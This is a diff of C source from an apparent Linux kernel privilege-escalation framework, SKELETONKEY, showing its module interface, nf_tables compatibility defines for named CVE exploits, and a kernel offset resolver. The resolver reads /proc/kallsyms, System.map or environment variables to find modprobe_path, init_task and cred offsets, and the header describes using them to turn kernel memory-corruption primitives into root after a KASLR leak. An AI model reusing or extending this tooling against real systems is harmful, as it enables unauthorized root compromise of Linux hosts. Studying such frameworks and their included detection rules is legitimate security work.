* via a registry function. The top-level dispatcher (iamroot.c) walks
|
||||
* Every CVE module exports one or more `struct skeletonkey_module` entries
|
||||
* via a registry function. The top-level dispatcher (skeletonkey.c) walks
|
||||
* the global registry to implement --scan, --exploit, --mitigate, etc.
|
||||
*
|
||||
* This is intentionally a small interface. Modules carry the
|
||||
* complexity; the dispatcher just routes.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_MODULE_H
|
||||
#define IAMROOT_MODULE_H
|
||||
#ifndef SKELETONKEY_MODULE_H
|
||||
#define SKELETONKEY_MODULE_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
/* Standard result codes returned by detect()/exploit()/mitigate().
|
||||
*
|
||||
* These map to top-level exit codes when iamroot is invoked with a
|
||||
* These map to top-level exit codes when skeletonkey is invoked with a
|
||||
* single-module operation:
|
||||
*
|
||||
* IAMROOT_OK exit 0 detect: not vulnerable / clean
|
||||
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable
|
||||
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing
|
||||
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error
|
||||
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
||||
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
||||
* SKELETONKEY_OK exit 0 detect: not vulnerable / clean
|
||||
* SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
|
||||
* SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
|
||||
* SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
|
||||
* SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
||||
* SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
||||
*
|
||||
* Implementation note: copy_fail_family's df_result_t shares these
|
||||
* numeric values intentionally so the family code can return its
|
||||
* existing constants without translation.
|
||||
*/
|
||||
typedef enum {
|
||||
IAMROOT_OK = 0,
|
||||
IAMROOT_TEST_ERROR = 1,
|
||||
IAMROOT_VULNERABLE = 2,
|
||||
IAMROOT_EXPLOIT_FAIL = 3,
|
||||
IAMROOT_PRECOND_FAIL = 4,
|
||||
IAMROOT_EXPLOIT_OK = 5,
|
||||
} iamroot_result_t;
|
||||
SKELETONKEY_OK = 0,
|
||||
SKELETONKEY_TEST_ERROR = 1,
|
||||
SKELETONKEY_VULNERABLE = 2,
|
||||
SKELETONKEY_EXPLOIT_FAIL = 3,
|
||||
SKELETONKEY_PRECOND_FAIL = 4,
|
||||
SKELETONKEY_EXPLOIT_OK = 5,
|
||||
} skeletonkey_result_t;
|
||||
|
||||
/* Per-invocation context passed to module callbacks. Lightweight for
|
||||
* now; will grow as modules need shared state (host fingerprint,
|
||||
* leaked kbase, etc.). */
|
||||
struct iamroot_ctx {
|
||||
/* Per-invocation context passed to module callbacks. The host
|
||||
* fingerprint (kernel / distro / capability gates / service presence)
|
||||
* is populated once at startup by core/host.c and handed to every
|
||||
* module callback here — see core/host.h. */
|
||||
struct skeletonkey_host; /* forward decl; full def in core/host.h */
|
||||
|
||||
struct skeletonkey_ctx {
|
||||
bool no_color; /* --no-color */
|
||||
bool json; /* --json (machine-readable output) */
|
||||
bool active_probe; /* --active (do invasive probes in detect) */
|
||||
bool no_shell; /* --no-shell (exploit prep but don't pop) */
|
||||
bool authorized; /* user typed --i-know on exploit */
|
||||
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
||||
bool dry_run; /* --dry-run (preview only; never call exploit/mitigate/cleanup) */
|
||||
|
||||
/* Host fingerprint — see core/host.h. Stable pointer, populated
|
||||
* once by main() before any module callback runs. Modules that
|
||||
* want to consult it #include "../../core/host.h". May be NULL
|
||||
* only in degenerate test contexts; main() always sets it. */
|
||||
const struct skeletonkey_host *host;
|
||||
};
|
||||
|
||||
struct iamroot_module {
|
||||
/* Short id used on the command line: `iamroot --exploit copy_fail`. */
|
||||
struct skeletonkey_module {
|
||||
/* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
|
||||
const char *name;
|
||||
|
||||
/* CVE identifier (or "VARIANT" if no CVE assigned). */
|
||||
@@ -70,20 +81,20 @@ struct iamroot_module {
|
||||
const char *kernel_range;
|
||||
|
||||
/* Probe the host. Should be side-effect-free unless ctx->active_probe
|
||||
* is true. Return IAMROOT_VULNERABLE if confirmed,
|
||||
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
|
||||
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
|
||||
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
|
||||
* is true. Return SKELETONKEY_VULNERABLE if confirmed,
|
||||
* SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
|
||||
* or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
|
||||
skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Run the exploit. Caller has already passed the --i-know gate. */
|
||||
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Apply a temporary mitigation. NULL if none offered. */
|
||||
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
|
||||
* effects. NULL if no cleanup applies. */
|
||||
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Detection rule corpus — embedded so the binary is self-
|
||||
* contained. Each may be NULL if this module ships no rules for
|
||||
@@ -93,6 +104,46 @@ struct iamroot_module {
|
||||
const char *detect_sigma; /* sigma YAML content */
|
||||
const char *detect_yara; /* yara rules content */
|
||||
const char *detect_falco; /* falco rules content */
|
||||
|
||||
/* Operational-security notes — telemetry footprint THIS specific
|
||||
* exploit leaves behind. The inverse of detect_auditd/yara/falco
|
||||
* above (the rules catch what these notes describe). Free-form
|
||||
* prose, conventionally listing: dmesg lines triggered, auditd
|
||||
* events, file artifacts created/modified, persistence side-
|
||||
* effects, recommended cleanup. Per-module (not per-CVE) because
|
||||
* different exploits for the same bug can leave different
|
||||
* footprints. NULL if no analysis written yet.
|
||||
*
|
||||
* NB: ATT&CK / CWE / KEV metadata is properties of the CVE itself
|
||||
* (independent of exploit technique) and lives in
|
||||
* core/cve_metadata.{h,c} — looked up by CVE id, refreshed via
|
||||
* tools/refresh-cve-metadata.py. */
|
||||
const char *opsec_notes;
|
||||
|
||||
/* Architecture support for the exploit() body. detect() works on
|
||||
* any Linux arch (it just consults ctx->host); the question this
|
||||
* field answers is: if this module says VULNERABLE, will the
|
||||
* --exploit path actually fire on aarch64 / arm64? Values:
|
||||
*
|
||||
* "any" — userspace bug or arch-agnostic kernel
|
||||
* primitive (pwnkit, sudo*, pack2theroot,
|
||||
* dirty_pipe, dirty_cow, most netfilter/fs
|
||||
* bugs that use msg_msg sprays + structural
|
||||
* escapes).
|
||||
* "x86_64" — strictly x86-only (entrybleed needs
|
||||
* prefetchnta + KPTI, which doesn't apply
|
||||
* to ARM's TTBR_EL0/EL1 model).
|
||||
* "x86_64+unverified-arm64" — exploit body likely works on
|
||||
* arm64 but hasn't been verified on a real
|
||||
* arm64 host yet (e.g. copy_fail_family
|
||||
* assumes some x86_64 struct offsets;
|
||||
* --full-chain finisher uses x86_64-style
|
||||
* kernel ROP gadgets).
|
||||
*
|
||||
* NULL = unmapped (treat as "x86_64+unverified-arm64" by default;
|
||||
* a future arm64-on-Vagrant sweep will fill these in). Surfaced
|
||||
* in --list (ARCH column) and --module-info. */
|
||||
const char *arch_support;
|
||||
};
|
||||
|
||||
#endif /* IAMROOT_MODULE_H */
|
||||
#endif /* SKELETONKEY_MODULE_H */
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
/*
|
||||
* SKELETONKEY — nf_tables uapi compat shims.
|
||||
*
|
||||
* Older distro kernel headers (e.g. Ubuntu 20.04's linux-libc-dev ships
|
||||
* the 5.4 uapi; Debian 11 ships 5.10) don't define every nft attribute
|
||||
* or chain flag the exploits use. The numeric values are stable kernel
|
||||
* ABI — the target kernel understands them at runtime regardless of
|
||||
* what was present in the build host's uapi headers. Conditionally
|
||||
* define them here so modules compile against any reasonable header set.
|
||||
*
|
||||
* Sources for the numeric values:
|
||||
* include/uapi/linux/netfilter/nf_tables.h in mainline at the kernel
|
||||
* version that introduced each enum.
|
||||
*
|
||||
* Include AFTER <linux/netfilter/nf_tables.h>.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_NFT_COMPAT_H
|
||||
#define SKELETONKEY_NFT_COMPAT_H
|
||||
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
|
||||
/* ── chain flags ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFT_CHAIN_HW_OFFLOAD: kernel 5.5 (commit be0b86e0594d). Needed by
|
||||
* nft_fwd_dup_cve_2022_25636. */
|
||||
#ifndef NFT_CHAIN_HW_OFFLOAD
|
||||
#define NFT_CHAIN_HW_OFFLOAD 0x2
|
||||
#endif
|
||||
|
||||
/* NFT_CHAIN_BINDING: kernel 5.9 (commit d164385ec572). */
|
||||
#ifndef NFT_CHAIN_BINDING
|
||||
#define NFT_CHAIN_BINDING 0x4
|
||||
#endif
|
||||
|
||||
/* ── chain attrs ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_CHAIN_FLAGS: kernel 5.7 (commit 65038428b2c6). Ubuntu 18.04's
|
||||
* 4.15-era uapi lacks it. Position 10 in the enum
|
||||
* (NFTA_CHAIN_TABLE=1..NFTA_CHAIN_USERDATA=9, NFTA_CHAIN_FLAGS=10). */
|
||||
#ifndef NFTA_CHAIN_FLAGS
|
||||
#define NFTA_CHAIN_FLAGS 10
|
||||
#endif
|
||||
|
||||
/* NFTA_CHAIN_ID: kernel 5.13 (commit 837830a4b439). */
|
||||
#ifndef NFTA_CHAIN_ID
|
||||
#define NFTA_CHAIN_ID 11
|
||||
#endif
|
||||
|
||||
/* ── verdict attrs ──────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_VERDICT_CHAIN_ID: kernel 5.14 (commit 4ed8eb6570a4). Needed by
|
||||
* nf_tables_cve_2024_1086. */
|
||||
#ifndef NFTA_VERDICT_CHAIN_ID
|
||||
#define NFTA_VERDICT_CHAIN_ID 3 /* CODE=1, CHAIN=2, CHAIN_ID=3 */
|
||||
#endif
|
||||
|
||||
/* ── set attrs ──────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_DESC_CONCAT: kernel 5.6 (commit 8aeff38e08d2 — concat sets). */
|
||||
#ifndef NFTA_SET_DESC_CONCAT
|
||||
#define NFTA_SET_DESC_CONCAT 2 /* DESC_SIZE=1, DESC_CONCAT=2 */
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPR: kernel 5.12 (commit 65038428b2c6 — anon expr on sets). */
|
||||
#ifndef NFTA_SET_EXPR
|
||||
#define NFTA_SET_EXPR 13
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_EXPRESSIONS
|
||||
#define NFTA_SET_EXPRESSIONS 14
|
||||
#endif
|
||||
|
||||
/* ── set-element attrs ──────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_ELEM_KEY_END: kernel 5.6 (commit 7b225d0b5c5b). */
|
||||
#ifndef NFTA_SET_ELEM_KEY_END
|
||||
#define NFTA_SET_ELEM_KEY_END 7
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_ELEM_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_ELEM_EXPRESSIONS
|
||||
#define NFTA_SET_ELEM_EXPRESSIONS 11
|
||||
#endif
|
||||
|
||||
/* ── data attrs (newer additions tend to be backported uneven) ──── */
|
||||
|
||||
/* Make sure NFTA_DATA_VERDICT and friends exist — present since 3.13;
|
||||
* here only as a tripwire if a very old header somehow lacks them. */
|
||||
#ifndef NFTA_DATA_VERDICT
|
||||
#define NFTA_DATA_VERDICT 2
|
||||
#endif
|
||||
#ifndef NFTA_DATA_VALUE
|
||||
#define NFTA_DATA_VALUE 1
|
||||
#endif
|
||||
|
||||
#endif /* SKELETONKEY_NFT_COMPAT_H */
|
||||
+350
@@ -0,0 +1,350 @@
|
||||
/*
|
||||
* SKELETONKEY — kernel offset resolution
|
||||
*
|
||||
* See offsets.h for the four-source chain (env → kallsyms → System.map
|
||||
* → embedded table). This implementation is deliberately small and
|
||||
* dependency-free.
|
||||
*/
|
||||
|
||||
#include "offsets.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <fnmatch.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Embedded relative-offset table.
|
||||
*
|
||||
* Each entry's modprobe_path / init_task / poweroff_cmd values are
|
||||
* stored as offsets *relative to _text* (kbase). To resolve absolute
|
||||
* VAs we add a kbase leak (e.g. from EntryBleed).
|
||||
*
|
||||
* Entries here are seeded EMPTY in v0.2.0 except for a small set whose
|
||||
* offsets are widely documented in public CTF writeups + Ubuntu's
|
||||
* own debug-symbol packages. Operators on other kernels populate via
|
||||
* env var or extend this table.
|
||||
*
|
||||
* To add a verified entry on a kernel you own:
|
||||
* sudo grep -E " (modprobe_path|init_task|poweroff_cmd|init_cred)$" \
|
||||
* /boot/System.map-$(uname -r)
|
||||
* Subtract _text VA from each to get the relative offsets.
|
||||
* ------------------------------------------------------------------ */
|
||||
struct table_entry {
|
||||
const char *release_glob; /* fnmatch glob against uname -r */
|
||||
const char *distro_match; /* prefix-match against /etc/os-release ID, or NULL=any */
|
||||
uintptr_t rel_modprobe_path;
|
||||
uintptr_t rel_poweroff_cmd;
|
||||
uintptr_t rel_init_task;
|
||||
uintptr_t rel_init_cred;
|
||||
uint32_t cred_offset_real;
|
||||
uint32_t cred_offset_eff;
|
||||
};
|
||||
|
||||
/* Note: relative offsets below are PLACEHOLDERS for the schema. The
|
||||
* env-var override + kallsyms + System.map paths are the verified
|
||||
* runtime sources. Operators who validate offsets on a specific
|
||||
* kernel build are encouraged to upstream entries here. */
|
||||
static const struct table_entry kernel_table[] = {
|
||||
/* Schema example. Uncomment + verify before relying on it.
|
||||
*
|
||||
* { .release_glob = "5.15.0-25-generic",
|
||||
* .distro_match = "ubuntu",
|
||||
* .rel_modprobe_path = 0x148e480,
|
||||
* .rel_poweroff_cmd = 0x148e3a0,
|
||||
* .rel_init_task = 0x1c11dc0,
|
||||
* .rel_init_cred = 0x1e0c460,
|
||||
* .cred_offset_real = 0x758,
|
||||
* .cred_offset_eff = 0x760, },
|
||||
*/
|
||||
/* Sentinel */
|
||||
{ NULL, NULL, 0, 0, 0, 0, 0, 0 }
|
||||
};
|
||||
|
||||
/* Defaults that hold across most x86_64 kernels in the target era. */
|
||||
#define DEFAULT_CRED_REAL_OFFSET 0x738
|
||||
#define DEFAULT_CRED_EFF_OFFSET 0x740
|
||||
#define DEFAULT_CRED_UID_OFFSET 0x4
|
||||
|
||||
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
|
||||
{
|
||||
switch (src) {
|
||||
case OFFSETS_NONE: return "none";
|
||||
case OFFSETS_FROM_ENV: return "env";
|
||||
case OFFSETS_FROM_KALLSYMS: return "kallsyms";
|
||||
case OFFSETS_FROM_SYSMAP: return "System.map";
|
||||
case OFFSETS_FROM_TABLE: return "table";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
/* Parse hex/decimal — accepts "0x..." or plain decimal. */
|
||||
static int parse_addr(const char *s, uintptr_t *out)
|
||||
{
|
||||
if (!s || !*s) return 0;
|
||||
errno = 0;
|
||||
char *end = NULL;
|
||||
unsigned long long v = strtoull(s, &end, 0);
|
||||
if (errno != 0 || end == s) return 0;
|
||||
*out = (uintptr_t)v;
|
||||
return 1;
|
||||
}
|
||||
|
||||
static void read_distro(char *out, size_t sz)
|
||||
{
|
||||
out[0] = '\0';
|
||||
FILE *f = fopen("/etc/os-release", "r");
|
||||
if (!f) return;
|
||||
char line[256];
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "ID=", 3) == 0) {
|
||||
char *p = line + 3;
|
||||
if (*p == '"') p++;
|
||||
size_t i = 0;
|
||||
while (*p && *p != '"' && *p != '\n' && i + 1 < sz) {
|
||||
out[i++] = (char)tolower((unsigned char)*p++);
|
||||
}
|
||||
out[i] = '\0';
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Source 1: environment variables
|
||||
* ------------------------------------------------------------------ */
|
||||
static void apply_env(struct skeletonkey_kernel_offsets *o)
|
||||
{
|
||||
const char *v;
|
||||
uintptr_t a;
|
||||
|
||||
if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
|
||||
if (!o->kbase) o->kbase = a;
|
||||
}
|
||||
if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
||||
if (!o->modprobe_path) {
|
||||
o->modprobe_path = a;
|
||||
o->source_modprobe = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
||||
if (!o->poweroff_cmd) o->poweroff_cmd = a;
|
||||
}
|
||||
if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
|
||||
if (!o->init_task) {
|
||||
o->init_task = a;
|
||||
o->source_init_task = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
|
||||
if (!o->init_cred) o->init_cred = a;
|
||||
}
|
||||
if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_offset_real) {
|
||||
o->cred_offset_real = (uint32_t)a;
|
||||
o->source_cred = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
|
||||
}
|
||||
if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
|
||||
}
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Source 2/3: symbol-table file parsing (System.map or kallsyms share
|
||||
* the same "ADDR TYPE NAME" format).
|
||||
* ------------------------------------------------------------------ */
|
||||
static int parse_symfile(const char *path,
|
||||
struct skeletonkey_kernel_offsets *o,
|
||||
enum skeletonkey_offset_source tag)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return 0;
|
||||
|
||||
int filled = 0;
|
||||
char line[512];
|
||||
int saw_nonzero = 0;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
char *p = line;
|
||||
while (*p && isspace((unsigned char)*p)) p++;
|
||||
if (!*p) continue;
|
||||
|
||||
char *end = NULL;
|
||||
unsigned long long addr = strtoull(p, &end, 16);
|
||||
if (end == p || !end) continue;
|
||||
if (addr != 0) saw_nonzero = 1;
|
||||
|
||||
while (*end && isspace((unsigned char)*end)) end++;
|
||||
if (!*end) continue;
|
||||
/* skip type char */
|
||||
end++;
|
||||
while (*end && isspace((unsigned char)*end)) end++;
|
||||
if (!*end) continue;
|
||||
|
||||
char *nl = strchr(end, '\n');
|
||||
if (nl) *nl = '\0';
|
||||
|
||||
if (strcmp(end, "modprobe_path") == 0 && !o->modprobe_path) {
|
||||
o->modprobe_path = (uintptr_t)addr;
|
||||
o->source_modprobe = tag;
|
||||
filled++;
|
||||
} else if (strcmp(end, "poweroff_cmd") == 0 && !o->poweroff_cmd) {
|
||||
o->poweroff_cmd = (uintptr_t)addr;
|
||||
filled++;
|
||||
} else if (strcmp(end, "init_task") == 0 && !o->init_task) {
|
||||
o->init_task = (uintptr_t)addr;
|
||||
o->source_init_task = tag;
|
||||
filled++;
|
||||
} else if (strcmp(end, "init_cred") == 0 && !o->init_cred) {
|
||||
o->init_cred = (uintptr_t)addr;
|
||||
filled++;
|
||||
} else if (strcmp(end, "_text") == 0 && !o->kbase) {
|
||||
o->kbase = (uintptr_t)addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
|
||||
/* /proc/kallsyms returns all-zero addrs under kptr_restrict — treat
|
||||
* that as "couldn't read", not "actually zero". */
|
||||
if (!saw_nonzero) {
|
||||
o->modprobe_path = o->poweroff_cmd = o->init_task = o->init_cred = 0;
|
||||
o->source_modprobe = o->source_init_task = OFFSETS_NONE;
|
||||
return 0;
|
||||
}
|
||||
return filled;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Source 4: embedded table — relative offsets, applied on top of kbase
|
||||
* if we already have one.
|
||||
* ------------------------------------------------------------------ */
|
||||
static void apply_table(struct skeletonkey_kernel_offsets *o)
|
||||
{
|
||||
if (!o->kernel_release[0]) return;
|
||||
|
||||
for (const struct table_entry *e = kernel_table; e->release_glob; e++) {
|
||||
if (e->distro_match && o->distro[0]
|
||||
&& strncmp(e->distro_match, o->distro, strlen(e->distro_match)) != 0) {
|
||||
continue;
|
||||
}
|
||||
if (fnmatch(e->release_glob, o->kernel_release, 0) != 0) continue;
|
||||
|
||||
/* Match. Apply, but only if we have a kbase (relative offsets
|
||||
* are useless absent that). */
|
||||
if (!o->kbase) return;
|
||||
|
||||
if (!o->modprobe_path && e->rel_modprobe_path) {
|
||||
o->modprobe_path = o->kbase + e->rel_modprobe_path;
|
||||
o->source_modprobe = OFFSETS_FROM_TABLE;
|
||||
}
|
||||
if (!o->poweroff_cmd && e->rel_poweroff_cmd) {
|
||||
o->poweroff_cmd = o->kbase + e->rel_poweroff_cmd;
|
||||
}
|
||||
if (!o->init_task && e->rel_init_task) {
|
||||
o->init_task = o->kbase + e->rel_init_task;
|
||||
o->source_init_task = OFFSETS_FROM_TABLE;
|
||||
}
|
||||
if (!o->init_cred && e->rel_init_cred) {
|
||||
o->init_cred = o->kbase + e->rel_init_cred;
|
||||
}
|
||||
if (!o->cred_offset_real && e->cred_offset_real) {
|
||||
o->cred_offset_real = e->cred_offset_real;
|
||||
o->source_cred = OFFSETS_FROM_TABLE;
|
||||
}
|
||||
if (!o->cred_offset_eff && e->cred_offset_eff) {
|
||||
o->cred_offset_eff = e->cred_offset_eff;
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Top-level resolve()
|
||||
* ------------------------------------------------------------------ */
|
||||
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
|
||||
{
|
||||
memset(out, 0, sizeof *out);
|
||||
|
||||
struct utsname u;
|
||||
if (uname(&u) == 0) {
|
||||
snprintf(out->kernel_release, sizeof out->kernel_release, "%s", u.release);
|
||||
}
|
||||
read_distro(out->distro, sizeof out->distro);
|
||||
|
||||
/* Defaults — only used if no source overrides. */
|
||||
out->cred_uid_offset = DEFAULT_CRED_UID_OFFSET;
|
||||
|
||||
/* 1. env */
|
||||
apply_env(out);
|
||||
|
||||
/* 2. /proc/kallsyms — only fills if non-zero addrs present */
|
||||
parse_symfile("/proc/kallsyms", out, OFFSETS_FROM_KALLSYMS);
|
||||
|
||||
/* 3. /boot/System.map-<release> */
|
||||
char path[256];
|
||||
snprintf(path, sizeof path, "/boot/System.map-%s", out->kernel_release);
|
||||
parse_symfile(path, out, OFFSETS_FROM_SYSMAP);
|
||||
|
||||
/* 4. embedded table (uses any kbase already discovered) */
|
||||
apply_table(out);
|
||||
|
||||
/* Fill any remaining struct-offset gaps with defaults so that
|
||||
* arb-write-via-init_task-+offset still has a chance even without
|
||||
* a full source. Mark as TABLE so caller can see they're defaulted. */
|
||||
if (!out->cred_offset_real) {
|
||||
out->cred_offset_real = DEFAULT_CRED_REAL_OFFSET;
|
||||
if (out->source_cred == OFFSETS_NONE) out->source_cred = OFFSETS_FROM_TABLE;
|
||||
}
|
||||
if (!out->cred_offset_eff) {
|
||||
out->cred_offset_eff = DEFAULT_CRED_EFF_OFFSET;
|
||||
}
|
||||
|
||||
int critical = 0;
|
||||
if (out->modprobe_path) critical++;
|
||||
if (out->init_task) critical++;
|
||||
if (out->cred_offset_real && out->cred_uid_offset) critical++;
|
||||
return critical;
|
||||
}
|
||||
|
||||
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||
uintptr_t leaked_kbase)
|
||||
{
|
||||
if (!leaked_kbase) return;
|
||||
/* Set kbase if we didn't have one, then re-apply the embedded table. */
|
||||
if (!off->kbase) off->kbase = leaked_kbase;
|
||||
apply_table(off);
|
||||
}
|
||||
|
||||
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
return off && off->modprobe_path != 0;
|
||||
}
|
||||
|
||||
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
return off && off->init_task != 0 && off->cred_offset_real != 0
|
||||
&& off->cred_uid_offset != 0;
|
||||
}
|
||||
|
||||
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
|
||||
off->kernel_release[0] ? off->kernel_release : "?",
|
||||
off->distro[0] ? off->distro : "?");
|
||||
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
|
||||
(unsigned long)off->kbase,
|
||||
(unsigned long)off->modprobe_path,
|
||||
skeletonkey_offset_source_name(off->source_modprobe));
|
||||
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
|
||||
(unsigned long)off->init_task,
|
||||
skeletonkey_offset_source_name(off->source_init_task),
|
||||
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
|
||||
skeletonkey_offset_source_name(off->source_cred));
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
/*
|
||||
* SKELETONKEY — kernel offset resolution
|
||||
*
|
||||
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
|
||||
* (heap-OOB write, UAF, etc.). Converting that to root requires
|
||||
* arbitrary write at a specific kernel virtual address — usually
|
||||
* `modprobe_path` (writes a payload path → execve unknown binary →
|
||||
* modprobe runs payload as root) or `current->cred->uid` (set to 0).
|
||||
*
|
||||
* Those addresses vary per kernel build. This file resolves them at
|
||||
* runtime via a four-source chain:
|
||||
*
|
||||
* 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
|
||||
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
|
||||
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
|
||||
* 4. Embedded table keyed by `uname -r` glob (entries are
|
||||
* relative-to-_text, applied on top of an EntryBleed kbase leak
|
||||
* so KASLR is handled)
|
||||
*
|
||||
* Per the verified-vs-claimed bar: offsets are never fabricated. If
|
||||
* none of the four sources resolve, full-chain refuses with an error
|
||||
* pointing the operator at the manual workflow.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_OFFSETS_H
|
||||
#define SKELETONKEY_OFFSETS_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
enum skeletonkey_offset_source {
|
||||
OFFSETS_NONE = 0,
|
||||
OFFSETS_FROM_ENV = 1,
|
||||
OFFSETS_FROM_KALLSYMS = 2,
|
||||
OFFSETS_FROM_SYSMAP = 3,
|
||||
OFFSETS_FROM_TABLE = 4,
|
||||
};
|
||||
|
||||
struct skeletonkey_kernel_offsets {
|
||||
/* Host fingerprint */
|
||||
char kernel_release[128]; /* uname -r */
|
||||
char distro[64]; /* parsed from /etc/os-release ID= */
|
||||
|
||||
/* Kernel base — needed when offsets are relative-to-_text.
|
||||
* Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
|
||||
uintptr_t kbase;
|
||||
|
||||
/* Symbol virtual addresses (final, post-KASLR-resolution). */
|
||||
uintptr_t modprobe_path; /* modprobe_path[] string */
|
||||
uintptr_t poweroff_cmd; /* poweroff_cmd[] string (alt target) */
|
||||
uintptr_t init_task; /* init_task struct */
|
||||
uintptr_t init_cred; /* init_cred struct (or 0) */
|
||||
|
||||
/* Struct offsets — same across most x86_64 kernels but config-sensitive. */
|
||||
uint32_t cred_offset_real; /* offset of real_cred in task_struct */
|
||||
uint32_t cred_offset_eff; /* offset of cred (effective) in task_struct */
|
||||
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
|
||||
|
||||
/* Where did each field come from. */
|
||||
enum skeletonkey_offset_source source_modprobe;
|
||||
enum skeletonkey_offset_source source_init_task;
|
||||
enum skeletonkey_offset_source source_cred;
|
||||
};
|
||||
|
||||
/* Best-effort resolution. Returns the number of critical fields
|
||||
* resolved (modprobe_path / init_task / cred offsets count). Caller
|
||||
* checks specific fields it needs.
|
||||
*
|
||||
* Resolution chain is tried in order; later sources do NOT overwrite
|
||||
